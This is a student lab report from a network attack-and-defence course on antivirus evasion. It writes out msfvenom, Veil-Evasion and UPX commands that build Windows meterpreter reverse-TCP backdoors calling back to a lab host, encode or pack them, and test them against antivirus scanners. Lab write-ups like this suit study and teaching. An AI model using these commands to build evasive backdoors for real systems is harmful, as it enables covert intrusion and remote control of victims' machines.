20155330 《网络攻防》 Exp3 免杀原理与实践
基础问题回答
-
杀软是如何检测出恶意代码的?
- 基于特征码。先对流行代码特征的提取,然后进行程序的比对,如果也检测到相应的特征码的程序即为检测出恶意代码。
- 基于行为。杀软通过检测程序是否有更改注册表行为、是否有设置自启动、是否有修改权限等等行为进行判断。
-
免杀是做什么?
恶意代码避免杀毒软件查杀,从而实现入侵。
-
免杀的基本方法有哪些?
- 对恶意代码进行加壳
- 利用shellcode进行编码
实践过程记录
使用msf生成后门程序的检测
-
将实验二中生成的后门程序上传到virscan中进行扫描,扫描信息及结果如下:
-
根据扫描结果,有48%的杀软检测出了病毒。
使用msf编码器生成meterpreter可执行文件
- 使用命令
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\\x00’ LHOST=192.168.204.128 LPORT=5330 -f exe > 5330exp3.exe
生成一次编码过的可执行文件
- 再次对生成的程序进行扫描,扫描信息及结果如下:
- 相较于直接生成后门程序,进行过编码后的程序依然有48%的杀软检测出病毒。
- 将文件进行十次编码
- 扫描文件,还是被那么多的杀软查杀到,那么多次编码好像也没有太大的作用。
Veil-Evasion免杀平台
- 在终端中使用
veil-evasion
命令打开该软件。
- 输入
use python/meterpreter/rev_tcp //设置payload
set LHOST 192.168.204.138 //设置反弹连接win-IP
set port 443 //设置反弹端口443,默认为4444
generate //生成
5330 //程序名
1
- 从路径
/var/lib/veil-evasion/output/compiled
找到相应程序,放到网站上扫描,结果如下:
C语言调用Shellcode
- 在kali主机下打开终端,执行指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=Kali-IP LPORT=443 -f c
,生成一个C语言数组。
- 创建一个C文件(可用
touch
命令生成):MSSC_5330.c(免杀shellcode),将上面生成的数组copy到该文件下,并加入一个主函数。
- 使用
i686-w64-mingw32-g++ MSSC_5330.c -o MSSC_5330.exe
命令将该C语言代码转换为一个可在64位windows系统下操作的可执行文件MSSC_5330.exe。
- 放到网站上扫描一下,发现可以检测到病毒的杀软更少了。
- 通过
nc
命令将可执行文件传到win7主机上,很快就被查杀了QAQ。
加壳
- 通过命令
upx #需要加壳的文件名 -o #加壳后的文件名
,生成程序。
- 放到网站上扫描一下,emmmmm...没什么变化……
- 再传到win7主机上,扫描一下。
- 好像可以了?看看扫描日志。
- 过了一会,又被查杀了TUT。
离实战还缺些什么技术或步骤?
应该是对编写免杀代码还不太了解,以目前的能力还只能依靠软件来生成代码,如果是纯手工的代码可能免杀的几率会更大一些。
实践总结与体会
通过不同的方式对恶意代码生成病毒程序有了一定的了解,可以简单制作出一些免杀后门。从而也了解到了目前我们所信赖的杀软其实还是存在着一些漏洞,假设将shellcode进行重新组合再加壳的话,免杀率应该还会再上升,从而通过杀软的扫描,入侵靶机。